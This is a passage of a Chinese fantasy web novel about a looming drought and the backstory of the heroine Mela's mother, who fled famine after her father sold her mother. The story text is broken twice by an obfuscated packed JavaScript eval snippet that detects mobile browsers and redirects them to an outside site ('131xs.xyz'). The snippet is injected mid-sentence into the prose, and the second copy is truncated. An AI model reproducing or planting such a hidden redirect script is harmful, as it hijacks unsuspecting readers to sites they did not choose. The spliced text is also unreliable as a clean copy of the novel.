像梅拉这样因为太热而把袖子拉到手肘处,长发也胡乱地扎在脑后,大概是礼仪官见了要朝她尖叫的程度。 “没办法,今年的夏季热得太不正常了,简直像是旱灾的前兆。”梅拉瘫在椅子上,声音也变得有气无力的。 莱克斯的心念跟着梅拉的话一动,他其实也隐隐有种不祥的预感。 这样热的天,不说人受不了,地里的作物也同样受不了,极有可能直接被晒死。若是一批又一批的小麦苗、玉米苗被晒死在地里,那等到了秋季,是否还能收获足够王国大多数人熬过一整个严冬的粮食呢? 当然,那些靠近河流的村子还好,能用水车将河水源源不断地引到地里去灌溉。但整个王国中,这样的村子是少数,还都属于靠近王城附近的领地。 如果,如果斐南基依然担任宰相的话,莱克斯倒还没那么担心,但只怕接任他的安东尼奥·裘德未必有体恤平民的想法,只会把为数不多的粮食往贵族们的仓库里搬。 那么为了不使自己及家人被活生生的饿死,平民们将掀起一场怎样的动乱,简直不言而喻。 只不过,事情到底还没来到最糟糕的地步,现在八月刚开了个头,说不定剩下的大半个月会迎来新的变化呢。 比如,忽然下一场大雨降降温。 毕竟上一次王国之中出现大面积的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926187|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旱灾,已经是三十年前的事了,那会儿连梅拉都还没有出生呢。 莱克斯也是通过翻阅王宫中储藏的过往的卷宗,才知道了这么一件事。 说起来,三十年前可真是一个微妙的时间,那会儿莱克斯的祖父,努伦格尔八世将将来到生命的尽头,又忽逢如此严重的灾难,差点被打击得直接躺在床上没了气息。 不过好在王宫里的医士一直照顾在努伦格尔八世的床侧,因此才能及时的将他救了过来。 重新恢复清醒后,努伦格尔八世马上着手解决这场旱灾,只不过他的办法既不是把仓库里多余的粮食发放出去,也不是派大臣们到床前商议主意,而是急匆匆地请了当时的老教皇来到王宫。 据说很快,老教皇便向信众们宣布,发生旱灾的原因是女巫在捣鬼,如果不能抓出女巫,这场灾难永远都不会平息。 所以,当年的旱灾真的是女巫捣的鬼吗? 若是没有与梅拉相处的这些年,莱克斯或许不会对这件事产生怀疑。 现在么,他深深地看了梅拉一眼,没有说话。 “旱灾?什么是旱灾?”塞拉斯发出不解的声音。 它还从没见识过旱灾呢,只是光听这个名字,就觉得害怕。 “旱灾就是河水干涸,露出干裂的河床;地里的庄稼因为缺水而枯死,粮食歉收;人们因为又缺水又缺粮食,饿得皮包骨头,渴得嘴唇裂开,却连血都舔不到。” 梅拉的语调慢悠悠的,神色却说不上轻松,反而变得凝重许多。 谁都不想碰上这种灾难,即使是梅拉也不例外。 莱克斯则有些讶异于她的描述如此清晰,仿佛曾经亲眼所见似的。 可三十年前的旱灾距离梅拉出生,还有整整四年呢。 “梅拉,你怎么好像很清楚旱灾是什么样的样子?难道你见过旱灾吗?”塞拉斯替莱克斯问出了心中的疑问。 梅拉摇头,“我当然没见过了。” “但如果不是因为那场旱灾,我的父亲大概也遇不到逃难而来的母亲了。” 梅拉的母亲,艾尔薇并不是白松镇本地人,她出生在西南边一个子爵的领地内,家里算不上殷实,只不过因为只养了她和弟弟两个孩子,至少每天早晚两顿吃饱肚子不成问题。 然而,突然而至的旱灾打破了艾尔薇原本平静的生活。 关于这场害得她不得不背井离乡,冒着被发现后沦为奴隶的巨大风险,逃到白松镇的灾难,艾尔薇记忆深刻。 时常怀抱着小小的梅拉,断断续续地说了不少她经历过的片段。 每一幕都历历在目,仿佛就发生在昨天似的。 “那时候,你的外祖父,也就是母亲的父亲,打算将母亲卖给一个路过的粮食商人,试图换取一些让他和他的儿子能够活下来的食物。” 艾尔薇温柔地凝视着怀里的小梅拉,手上有一下没一下的拍着她的背。 “然后母亲就逃跑了吗?”小梅拉懵懂地问。 “对啊,否则母亲就要和你外祖母一样,被带到不知道什么地方去了。” 即使提起这样堪称噩梦的事情,艾尔薇的语调依然是轻柔的,仿佛只是单纯的在给女儿说一个睡前故事。 35. 第 35 章 艾尔薇的故事说起来并不算多么惊心动魄,只不过是那场旱灾下的一个小小的缩影罢了。 在这场朝不保夕的灾难中,谁也不知道什么时候就会成为一具躺在枯竭河床上的干尸。 想活下去,并没有错。 但艾尔薇恨的,却是他的父亲为了苟活,竟然将她劳累了小半辈子的母亲卖给了一个过路的商人。 能生下艾尔薇这样远近闻名的大美人,艾尔薇的母亲长得自然也是十分出挑,哪怕从小干着又苦又累的农活,手上布满了冻疮和大大小小的已经愈合的口子,那张生出了好几道皱纹的脸蛋,笑起来依然动人。 也帮艾尔薇的父亲向商人要价时,多要了两大袋土豆。 看着所谓的父亲和弟弟捧着烤熟的土豆吃得喷香,艾尔薇的喉咙口涌上了想要呕吐的欲望,卖掉母亲换来的食物,她一口也吃不下去。 “吃不下去?那就饿着!”艾尔薇的父亲冷笑一声,接着一把夺过她手里的土豆,剥开皮,送进了自己的嘴巴里。 艾尔薇垂下眼帘,遮住眼中嫌恶的情绪,开始在心底打算逃离这个家的可能性。 旱灾不知道何时才能结束,今天她的父亲能卖了她的母亲,明天也能卖了她,艾尔薇决不能就这样坐以待毙等着那一天的到来。 只不过,要逃到哪去呢? 艾尔薇不动声色地留意起村口时不时经过的那些逃难的人们,他们家乡的情况远比艾尔薇所在的这个村子还要糟糕,所以才不得不拖家带口的离开。 艾尔薇从他们的嘴里打探到,他们大多数是从更西边的方向而来,也就是说,西边是绝对不能去了。 至于南边,南边的情况可也算不上好。 听说南边的几个领地都发生了动乱,反正要么饿死要么渴死,还不如豁出一条命去打劫贵族的庄园,只要能抢到一个面包,一瓶葡萄酒,就能见到明天、后天、乃至大后天的太阳升起来。 听到这些消息,艾尔薇捂着干瘪的肚子,在稻草上翻了个身,决定咬牙往北边去。 而两天后,眼看着最后两颗土豆进了父亲和弟弟的嘴里,艾尔薇知道,她的逃跑该提上日程了。 于是趁着父亲偷偷去联系一个粮食商人的机会,艾尔薇用木棍敲晕了守在门外的弟弟,带走了为数不多的几件衣服,大跨步地离开了村子。 鼓动头发和衣袖的风同时也在裹着她不断前行,脚下仿佛生了一双翅膀似的,竟然一路越过了干涸的溪流,爬过了嶙峋的山间,离生养她的村子越来越远,甚至乘着夜色越过了子爵的领地边缘,来到了另一个领主的地盘。 一路上,艾尔薇饿了就摘叶子,用泥土洗一洗虫子和别的东西,再塞进嘴里。植物的根茎里则含着为数不多的汁液,能缓解艾尔薇的口渴。 总之,大概是运气加身,加上艾尔薇一路挑了最荒僻的山间小路行走,竟然一路走到了白松镇附近的山上,却没被任何人逮到踪迹。 这时候,艾尔薇的鞋子都磨破了,头发也乱糟糟地披在身后,浑身带着许久没洗过的臭味。 因此,乍一看见眼前有一条干净的小溪,哪怕溪水只能浅浅地没过她的脚踝,艾尔薇的眼睛仍然一亮。 不过,她警惕地观察过四周,确认附近没有任何危险的动物出没,更没有听到属于人的脚步声后,才放心地脱下罩裙,侧躺在溪边,用手捧起溪水,浇到身上,抹去了累积许久的污垢。 既然好不容易找到了水源,艾尔薇便决定留下来不走了,毕竟她现在和无处可去没有任何区别,还要小心不能让人发现她竟然是个从其它领地逃来的难民,否则将她绑了交给领主,就只有沦为奴隶这一条路可走。 与其这样,艾尔薇宁可因为找不到食物饿死在这座山上。 好在,事情远没有艾尔薇想象的那样糟糕,她不仅找到了一处隐蔽的洞穴,还采到了一串串黄澄澄的果实。 除了让艾尔薇酸得面目扭曲之外,好歹切切实实地填饱了她的肚子。 到了晚上,艾尔薇费力地将一大根缀满叶子的树枝横亘到洞口。 这是她特意找了好久才找到的树枝,能挡住三分之二个洞口,也能防住突如其来闯入的野兽。 这下,艾尔薇总算睡了奔波一个多月以来最好的一觉。 就这样一连过了好几天,艾尔薇差不多彻底适应了在山上的生活,早上,她将树枝移开,到处寻觅能吃的野果和野草,再用叶子包着一包溪水回到山洞里;下午,艾尔薇则到处寻觅野生的苎麻,看看有没有办法做一件新衣服出来。 否则她带走的这几件旧衣服,还不知道能穿多久。 只是,就算寻找到了野生的苎麻,还得经过浸水软化、剥皮等一系列麻烦的功夫,好在这都是艾尔薇在家时做惯了的活计,至少现在她只需要为了自己的生存而干活,而不用为了伺候另外的人被使唤得团团转。 艾尔薇感到了久违的满足。 如果日子能一直这么平静地过下去就好了。她想。 为此,艾尔薇在又一次入睡前选择了向神明祈祷——尽管艾尔薇并不相信教会口中的神明真实存在,否则世上怎么还会有如此多的苦难,但除了神明之外,艾尔薇也不知道自己还能向谁祈祷。 国王?那太遥远了,简直像老掉牙的睡前故事里才能请到的大人物。 领主大人?得了吧,正是因为他每年都要收取高昂的税收,艾尔薇家才永远无法攒够能做小买卖的钱。 父亲?那个本应该被视为家庭中权威的存在,现在一想起他的面孔仍然让艾尔薇几欲作呕。 总之,还是选择最高高在上、也没有切实伤害过她的神明好了。 假如艾尔薇能预料到三天后发生的一切,她大概会告诉现在的自己,瞧,神明果然不存在,你的祈祷并没有生效。 你会在三天后,不小心染上一场风寒,好在暂时只是浑身发冷、四肢乏力,还没到高热的地步。为了避免继续加重病情,趁着还能走动的时候,你试图四处寻找能够治疗风寒的草药,结果因为来不及躲避,撞上了一个陌生的男人,他的名字叫威普多·格荷拉克,是白松镇上一个医士的儿子。 * 天气太热,梅拉难得没有了往日的好食欲,晚上只喝了一大碗番茄浓汤,吃了几个肉丸子。 等到了深夜,月色高悬,小木屋里静悄悄的,几乎落针可闻的时候,摇椅上传来了轻微的摩擦声。 是梅拉小心翼翼地翻了个身。 她捂着有些空虚的肚子,开始后悔晚餐的时候竟然才吃了那么点东西。 这会儿便感觉胃里空荡荡的,十分难捱。 想到这,梅拉悄悄地起身,循着月光来到平时堆放食物的地方,随手一摸,摸出来了一个沾满泥巴的土豆。 算了,换一个,梅拉把土豆丢回去,然后重新摸出来了一个茄子。 梅拉只好又把茄子放回原位。 再掏掏,结果没想到直接掏出了一把辣椒。 哪怕梅拉飞快地松手,手上残留的辣椒味仍然让她呛了好几声,眼泪都快从眼角溢出来了。 好不容易止住咳嗽,梅拉赶紧往塞拉斯的方向看去,很好,塞拉斯一幅睡得正香的模样。 再看睡在另一侧角落的莱克斯,同样面容宁静,似乎沉入了极深的梦境之地。 梅拉于是重新转回来,换了个袋子翻找。 希望这回能找到她想要的,可以直接生吃的东西。 在她的身后,察觉到梅拉的目光从自己的脸上离开,莱克斯悄然将眼睛睁开了一条线。 见梅拉找了半天,一无所获,重新闭上眼的莱克斯开始考虑要不要想办法给她一点提示,比如在她的右侧,挪开最上层的麻袋,底下的木箱子里就装着好几个苹果。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果说有一天旱灾真的来临,哪里能逃过一劫,那大概就是这片广袤的黑暗森林了,这里有丰富的食物,还有密布的水源,怎么也不可能熬不下去。 反倒是王国的其它地方,本就是一大家子在领主手下勉强生存,一旦遇到意外,除了祈求上头那些大人物们的怜悯之外,似乎别无他法。 可是,那些向来漠视平民的贵族们,真的会在意他们的命吗? 成百上千的死人,对贵族们来说或许也算不上什么大事,反正等这些下等人缓过气来,又会开始无穷无尽地生孩子,而他们的孩子,则继续为最上层的贵族们提供优渥的生活。 所以梅拉才说,莱克斯担心也没用,因为比起天灾,真正导致尸横遍野的其实是人祸才对。 如果贵族们愿意省下整宿整宿开舞会倾倒出的葡萄酒,省下摆满一整条长桌的食物,想要让领地内的子民熬过一场旱灾并不困难。 “你说得对。”莱克斯不得不承认,除非他能成为国王,才能将自己的命令说一不二地发布下去,否则即使他仍然留在王宫里,当着尊贵的王储,也不过是眼睁睁地看着悲剧发生,无能为力。 说不定,为了阻止他在大臣们面前露脸,伊莱雅与安东尼奥还要拼了命地反对他的想法。 这会儿没了他作为阻碍,或许伊莱雅会为了给她的儿子造势,实打实地为平民们做点好事呢。 “谢谢你,梅拉。”莱克斯理清思绪,忍不住扭头想要同梅拉道谢。 结果在他沉思的功夫,梅拉早就倒在他的毯子上睡着了。 她的面容沉静,月光越过高挺的鼻梁,爬到背对着莱克斯的这一侧脸颊,照亮了微微颤抖的睫毛。 仿佛正在呼吸的蝴蝶。 叫莱克斯情不自禁地屏住了自己的气息。